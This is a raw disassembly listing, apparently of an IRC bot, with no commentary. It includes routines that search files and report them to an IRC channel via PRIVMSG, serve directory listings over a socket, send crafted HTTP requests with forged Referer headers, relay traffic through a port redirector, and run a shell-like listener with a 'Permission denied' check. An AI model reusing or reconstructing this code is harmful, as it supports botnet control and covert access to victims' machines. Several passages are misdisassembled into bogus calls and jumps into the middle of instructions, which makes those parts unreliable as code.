push eax call sub_41BA76 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40AF71 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov ds:dword_440B3C[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset loc_40F8AD push edi push edi call ds:dword_42807C ; CreateThread mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov ds:dword_440B4C[ecx], eax jnz short loc_40FCCE push ebx call ds:dword_4CDC90 ; closesocket call ds:dword_42808C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_8C4] push offset unk_4366EC push eax call sub_41BA76 lea eax, [ebp+var_8C4] push eax call sub_4152AE add esp, 10h loc_40FCBF: ; CODE XREF: sub_40FA29+1ACj ; sub_40FA29+2ADj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_40FCC6: ; CODE XREF: sub_40FA29+2ABj push 5 call ds:dword_428064 ; Sleep loc_40FCCE: ; CODE XREF: sub_40FA29+266j cmp [ebp+var_318], edi jz short loc_40FCC6 jmp short loc_40FCBF sub_40FA29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FCD8 proc near ; CODE XREF: seg000:004091A4p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B780 mov edi, [ebp+arg_0] push offset asc_42B0FC ; "\n" push edi call sub_41C2E4 add esp, 14h cmp [ebp+arg_8], ebx push edi jz short loc_40FD37 push [ebp+arg_8] mov esi, 200h lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41BB70 add esp, 14h jmp loc_40FE33 ; --------------------------------------------------------------------------- loc_40FD37: ; CODE XREF: sub_40FCD8+3Bj cmp [ebp+arg_C], ebx jz loc_40FE19 call sub_41B1D0 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41BB70 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4CDC48 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41BB70 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4CDC48 ; send push edi call sub_41B1D0 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41BB70 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4CDC48 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41BB70 add esp, 0Ch jmp short loc_40FE33 ; --------------------------------------------------------------------------- loc_40FE19: ; CODE XREF: sub_40FCD8+62j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41BB70 add esp, 10h loc_40FE33: ; CODE XREF: sub_40FCD8+5Aj ; sub_40FCD8+13Fj lea eax, [ebp+var_248] push ebx push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4CDC48 ; send cmp [ebp+arg_C], ebx jz short loc_40FECB push [ebp+arg_C] call sub_41B1D0 cmp eax, 2 pop ecx jbe short loc_40FECB push [ebp+arg_C] call sub_41B1D0 sub eax, 3 pop ecx jz short loc_40FE7F loc_40FE73: ; CODE XREF: sub_40FCD8+1A5j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FE7F dec eax jnz short loc_40FE73 loc_40FE7F: ; CODE XREF: sub_40FCD8+199j ; sub_40FCD8+1A2j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B7E0 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41BB70 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4CDC48 ; send loc_40FECB: ; CODE XREF: sub_40FCD8+17Dj ; sub_40FCD8+18Bj lea eax, [ebp+var_388] push eax push edi call ds:dword_428000 ; FindFirstFileA lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call ds:dword_42811C ; FindNextFileA test eax, eax jz loc_4102C2 mov edi, 1FFh loc_40FEF7: ; CODE XREF: sub_40FCD8+5E4j cmp [ebp+var_388], ebx jz loc_4102AA lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4102AA lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C260 pop ecx test eax, eax pop ecx jz loc_4102AA lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call near ptr 0B10000h in al, 8Dh inc ebp call near ptr 0E0868CA1h push eax call near ptr 0B10000h sub al, 66h mov eax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja loc_40FFF4 mov ecx, offset aAm ; "AM" movzx eax, ax loc_40FF73: ; CODE XREF: sub_40FCD8+322j push ecx movzx ecx, word ptr [ebp+var_10+2] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41BA76 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_41012B inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FFFF lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41BB70 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_41BB70 add esp, 28h jmp loc_41027B ; --------------------------------------------------------------------------- loc_40FFF4: ; CODE XREF: sub_40FCD8+28Dj movzx eax, ax sub eax, 0Ch jmp loc_40FF73 ; --------------------------------------------------------------------------- loc_40FFFF: ; CODE XREF: sub_40FCD8+2D5j cmp [ebp+arg_C], ebx jz loc_4100E9 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41BB70 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4CDC48 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] loc_410051: ; DATA XREF: seg002:00433C1Do ; seg002:0043444Do push offset aSS_1 ; "%s%s/" push edi push eax call sub_41BB70 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4CDC48 ; send lea eax, [ebp+var_35C] push eax call sub_41B1D0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] jbe short loc_4100A5 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_4100AA ; --------------------------------------------------------------------------- loc_4100A5: ; CODE XREF: sub_40FCD8+3C4j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_4100AA: ; CODE XREF: sub_40FCD8+3CBj push edi push eax call sub_41BB70 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4CDC48 ; send lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_41026C ; --------------------------------------------------------------------------- loc_4100E9: ; CODE XREF: sub_40FCD8+32Aj lea eax, [ebp+var_35C] push eax push offset aS_0 ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41BB70 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_410116: ; CODE XREF: sub_40FCD8+47Bj lea eax, [ebp+var_248] push esi push eax call sub_41BB70 add esp, 24h jmp loc_41027B ; --------------------------------------------------------------------------- loc_41012B: ; CODE XREF: sub_40FCD8+2C9j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_410155 push ebx push [ebp+var_368] call sub_416994 push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_410116 ; --------------------------------------------------------------------------- loc_410155: ; CODE XREF: sub_40FCD8+459j cmp [ebp+arg_C], ebx jz loc_410255 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41BB70 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4CDC48 ; send lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_42AAEC push edi push eax call sub_41BB70 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4CDC48 ; send lea eax, [ebp+var_35C] push eax call sub_41B1D0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] jbe short loc_4101FB push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_410200 ; --------------------------------------------------------------------------- loc_4101FB: ; CODE XREF: sub_40FCD8+51Aj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_410200: ; CODE XREF: sub_40FCD8+521j push edi push eax call sub_41BB70 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4CDC48 ; send mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_41BB70 add esp, 1Ch jmp short loc_41027B ; --------------------------------------------------------------------------- loc_410255: ; CODE XREF: sub_40FCD8+480j push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_41026C: ; CODE XREF: sub_40FCD8+40Cj lea eax, [ebp+var_248] push eax call sub_41BB70 add esp, 18h loc_41027B: ; CODE XREF: sub_40FCD8+317j ; sub_40FCD8+44Ej ... lea eax, [ebp+var_248] push ebx push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4CDC48 ; send cmp [ebp+arg_8], ebx jz short loc_4102AA push 7D0h call ds:dword_428064 ; Sleep loc_4102AA: ; CODE XREF: sub_40FCD8+225j ; sub_40FCD8+240j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call ds:dword_42811C ; FindNextFileA test eax, eax jnz loc_40FEF7 loc_4102C2: ; CODE XREF: sub_40FCD8+214j push [ebp+arg_0] call near ptr 0B10000h insd cmp [ebp+arg_8], ebx jz short loc_410305 mov eax, [ebp+var_8] cdq push edx push eax call sub_416994 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416994 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41BA76 add esp, 14h jmp short loc_410333 ; --------------------------------------------------------------------------- loc_410305: ; CODE XREF: sub_40FCD8+5F6j cmp [ebp+arg_C], ebx lea eax, [ebp+var_248] jz short loc_41031F push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41BA76 pop ecx pop ecx jmp short loc_410333 ; --------------------------------------------------------------------------- loc_41031F: ; CODE XREF: sub_40FCD8+636j push [ebp+var_8] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41BA76 add esp, 10h loc_410333: ; CODE XREF: sub_40FCD8+62Bj ; sub_40FCD8+645j lea eax, [ebp+var_248] push ebx push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call ds:dword_4CDC48 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_40FCD8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push dword ptr [ebp+0Ch] mov edi, 400h mov [ebp-4], esi call ds:dword_4280EC ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410411 push esi push ebx call near ptr 0B10000h and eax, 4589C63Bh or al, 74h insb loc_41039E: ; CODE XREF: seg000:00410408j push 400h lea eax, [ebp-404h] push esi push eax call sub_41B780 add esp, 0Ch cmp edi, [ebp+0Ch] jbe short loc_4103BB mov edi, [ebp+0Ch] loc_4103BB: ; CODE XREF: seg000:004103B6j mov eax, [ebp+0Ch] push 2 neg eax push esi push eax push ebx call ds:dword_428120 ; SetFilePointer lea eax, [ebp-4] push esi push eax lea eax, [ebp-404h] push edi push eax push ebx call ds:dword_4280E8 ; ReadFile push esi lea eax, [ebp-404h] push edi push eax push dword ptr [ebp+8] call ds:dword_4CDC48 ; send cmp eax, 0FFFFFFFFh jnz short loc_410405 call ds:dword_4CDB8C ; WSAGetLastError cmp eax, 2733h jnz short loc_41040A xor eax, eax loc_410405: ; CODE XREF: seg000:004103F4j sub [ebp+0Ch], eax jnz short loc_41039E loc_41040A: ; CODE XREF: seg000:00410401j push ebx call ds:dword_42806C ; CloseHandle loc_410411: ; CODE XREF: seg000:00410389j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_410416 proc near ; CODE XREF: sub_40FA29+17Bp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41B1D0 test eax, eax pop ecx jbe short loc_41043F loc_410429: ; CODE XREF: sub_410416+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_410433 mov byte ptr [esi+edi], 2Fh loc_410433: ; CODE XREF: sub_410416+17j push edi inc esi call sub_41B1D0 cmp esi, eax pop ecx jb short loc_410429 loc_41043F: ; CODE XREF: sub_410416+11j mov eax, edi pop edi pop esi retn sub_410416 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410444 proc near ; CODE XREF: seg000:00406D05p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call ds:dword_4CDB68 ; WSAStartup push 6 push 1 push 2 call ds:dword_4CDC78 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B780 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call ds:dword_4CDBF8 ; htons push [ebp+arg_10] mov [ebp+var_E], ax call sub_40A9E8 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_4CDBA0 ; connect cmp eax, 0FFFFFFFFh jz short loc_410521 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_4104BD mov eax, offset dword_43FDB4 loc_4104BD: ; CODE XREF: sub_410444+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41BB70 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call ds:dword_4CDC48 ; send push esi lea eax, [ebp+var_110] push edi push eax call sub_41C500 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call ds:dword_4CDC10 ; recv pop esi loc_410521: ; CODE XREF: sub_410444+6Bj push ebx call ds:dword_4CDC90 ; closesocket call ds:dword_4CDB50 ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41BA76 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_410561 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409966 add esp, 14h loc_410561: ; CODE XREF: sub_410444+102j pop edi pop ebx leave retn sub_410444 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410565 proc near ; DATA XREF: seg000:00407BA5o var_350 = byte ptr -350h var_150 = byte ptr -150h var_14C = dword ptr -14Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_150] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp+var_14] push esi push eax call sub_41B780 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_44] call ds:dword_4CDBF8 ; htons push 6 push 1 push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi mov [ebp+var_4], edi call ds:dword_4CDC78 ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_4106D0 mov ecx, [ebp+var_40] push 1 imul ecx, 234h push 401h push esi push eax mov ds:dword_440B44[ecx], eax call ds:dword_4CDB08 ; WSAAsyncSelect lea eax, [ebp+var_14] push edi push eax push [ebp+arg_0] call ds:dword_4CDC24 ; bind test eax, eax jnz loc_4106D0 push 0Ah push [ebp+arg_0] call ds:dword_4CDC20 ; listen test eax, eax jnz loc_4106D0 loc_410615: ; CODE XREF: sub_410565+C6j ; sub_410565+166j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] call ds:dword_4CDC8C ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_410615 movzx eax, [ebp+var_26] push [ebp+var_40] mov [ebp+var_14C], edi mov [ebp+var_30], esi push eax push [ebp+var_24] call ds:dword_4CDC84 ; inet_ntoa push eax lea eax, [ebp+var_350] push offset unk_436C48 push eax call sub_41BA76 push edi lea eax, [ebp+var_350] push 18h push eax call sub_40AF71 mov [ebp+var_3C], eax imul eax, 234h mov ecx, [ebp+var_40] add esp, 20h mov ds:dword_440B3C[eax], ecx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_150] push esi push eax push offset loc_4106F5 push esi push esi call ds:dword_42807C ; CreateThread mov ecx, [ebp+var_3C] imul ecx, 234h cmp eax, esi mov ds:dword_440B4C[ecx], eax jnz short loc_4106C6 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_436C08 call sub_415322 pop ecx pop ecx jmp short loc_4106D3 ; --------------------------------------------------------------------------- loc_4106BE: ; CODE XREF: sub_410565+164j push 32h call ds:dword_428064 ; Sleep loc_4106C6: ; CODE XREF: sub_410565+142j cmp [ebp+var_30], esi jz short loc_4106BE jmp loc_410615 ; --------------------------------------------------------------------------- loc_4106D0: ; CODE XREF: sub_410565+63j ; sub_410565+97j ... mov edi, [ebp+arg_0] loc_4106D3: ; CODE XREF: sub_410565+157j push edi call ds:dword_4CDC90 ; closesocket push [ebp+arg_0] call ds:dword_4CDC90 ; closesocket push [ebp+var_40] call sub_40B287 pop ecx push esi call near ptr 0B10000h pop esi pop edi pop esi sub_410565 endp ; sp-analysis failed loc_4106F5: ; DATA XREF: sub_410565+124o push ebp mov ebp, esp mov eax, 1344h call sub_41BD10 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] xor ecx, ecx inc ecx push 6 push ecx push 2 mov [eax+120h], ecx mov [ebp-4], ebx call ds:dword_4CDC78 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_410858 push 10h lea eax, [ebp-18h] push edi push eax call sub_41B780 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call ds:dword_4CDBF8 ; htons mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call ds:dword_4CDC38 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_410785 lea eax, [ebp-13Ch] push eax call ds:dword_4CDC7C ; gethostbyname jmp short loc_410793 ; --------------------------------------------------------------------------- loc_410785: ; CODE XREF: seg000:00410774j push 2 lea eax, [ebp-8] push 4 push eax call ds:dword_4CDBB0 ; gethostbyaddr loc_410793: ; CODE XREF: seg000:00410783j cmp eax, edi jz loc_410858 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call ds:dword_4CDBA0 ; connect cmp eax, 0FFFFFFFFh jz loc_410858 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call ds:dword_4CDC84 ; inet_ntoa push eax lea eax, [ebp-344h] push offset unk_436CD0 push eax call sub_41BA76 push esi lea eax, [ebp-344h] push 18h push eax call sub_40AF71 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_440B44[ebx] mov ds:dword_440B3C[eax], ecx add esp, 20h mov ecx, [esi] mov ds:dword_440B48[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset byte_4108DD push edi push edi call ds:dword_42807C ; CreateThread mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov ds:dword_440B4C[ecx], eax jnz short loc_410891 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_436C90 call sub_415322 pop ecx pop ecx loc_410858: ; CODE XREF: seg000:00410739j ; seg000:00410795j ... mov eax, [ebp-4] imul eax, 234h push ds:dword_440B44[eax] call ds:dword_4CDC90 ; closesocket push dword ptr [ebp+8] call ds:dword_4CDC90 ; closesocket push dword ptr [ebp-4] call sub_40B287 pop ecx push edi call near ptr 0B10000h mov al, ds:6A5B5E5Fh ; CODE XREF: seg000:00410894j xor bh, bh adc eax, offset dword_428064 loc_410891: ; CODE XREF: seg000:00410843j cmp [ebp-20h], edi jz short near ptr loc_410885+4 mov ebx, 1000h loc_41089B: ; CODE XREF: seg000:004108D6j push ebx lea eax, [ebp-1344h] push edi push eax call sub_41B780 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call ds:dword_4CDC10 ; recv cmp eax, edi jle short loc_410858 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call ds:dword_4CDC48 ; send cmp eax, 0FFFFFFFFh jnz short loc_41089B jmp loc_410858 ; --------------------------------------------------------------------------- byte_4108DD db 55h, 8Bh, 0ECh ; DATA XREF: seg000:00410825o ; --------------------------------------------------------------------------- mov eax, 1128h call sub_41BD10 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410914: ; CODE XREF: seg000:00410959j push edi lea eax, [ebp-1128h] push 0 push eax call sub_41B780 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push ds:dword_440B48[esi] call ds:dword_4CDC10 ; recv test eax, eax jle short loc_41095B push 0 push eax lea eax, [ebp-1128h] push eax push ds:dword_440B44[esi] call ds:dword_4CDC48 ; send cmp eax, 0FFFFFFFFh jnz short loc_410914 loc_41095B: ; CODE XREF: seg000:0041093Ej push ds:dword_440B48[esi] call ds:dword_4CDC90 ; closesocket push dword ptr [ebp-14h] call sub_40B287 pop ecx push 0 ; --------------------------------------------------------------------------- dw 89E8h ; --------------------------------------------------------------------------- imul byte ptr [edi+0] retn ; --------------------------------------------------------------------------- pop edi pop esi push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp-3D4h] inc ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_440B44[eax] xor edi, edi mov dword ptr [ebp-0Ch], 1Eh mov [ebp-8], edi mov eax, [esi] mov [ebp-1F4h], ebx mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call ds:dword_4CDBE0 ; select test eax, eax jnz short loc_4109FE push dword ptr [esi] call ds:dword_4CDC90 ; closesocket push dword ptr [ebp+8] call sub_40B287 pop ecx push edi call near ptr 0B10000h dec eax loc_4109FE: ; CODE XREF: seg000:004109E4j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call ds:dword_4CDC10 ; recv lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call near ptr loc_410B7E+1 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call near ptr loc_410B7E+1 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call near ptr loc_410B7E+1 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call ds:dword_4CDB4C ; getpeername test eax, eax jz short near ptr loc_410A76+1 call ds:dword_4CDB8C ; WSAGetLastError push eax push offset unk_436DA8 call sub_415322 push dword ptr [ebp+8] call sub_40B287 add esp, 0Ch push edi call near ptr 0B10000h loc_410A76: ; CODE XREF: seg000:00410A52j mov esi, 458D026Ah call near ptr 0FF910EEAh adc eax, offset dword_4CDBB0 cmp eax, edi jnz short loc_410AA1 push dword ptr [ebp-18h] call ds:dword_4CDC84 ; inet_ntoa push eax lea eax, [ebp-0B0h] push eax call sub_41BA76 jmp short loc_410AAF ; --------------------------------------------------------------------------- loc_410AA1: ; CODE XREF: seg000:00410A87j push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41C0A0 loc_410AAF: ; CODE XREF: seg000:00410A9Fj pop ecx pop ecx push edi push ebx push offset dword_43FDB4 push dword ptr [esi] call ds:dword_4CDC48 ; send cmp ds:dword_4D0930, edi jnz short near ptr loc_410B10+1 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_410BC0 add esp, 10h test eax, eax jnz short near ptr loc_410B10+1 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call ds:dword_4CDC48 ; send push dword ptr [esi] call ds:dword_4CDC90 ; closesocket push dword ptr [ebp+8] call sub_40B287 pop ecx push edi call near ptr 0B10000h loc_410B10: ; CODE XREF: seg000:00410AC6j ; seg000:00410AE7j lds ecx, [ebp-0AF7Bh] call dword ptr [eax-73h] inc ebp aam 50h push offset unk_436D6C call sub_415322 push dword ptr [ebp+8] call loc_410E76 add esp, 10h test eax, eax jnz short loc_410B58 call ds:dword_42808C ; RtlGetLastWin32Error push eax push offset unk_436D40 call sub_415322 push dword ptr [ebp+8] call sub_40B287 add esp, 0Ch push ebx call near ptr 0B10000h lahf loc_410B58: ; CODE XREF: seg000:00410B33j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_436D14 call sub_415322 push dword ptr [ebp+8] 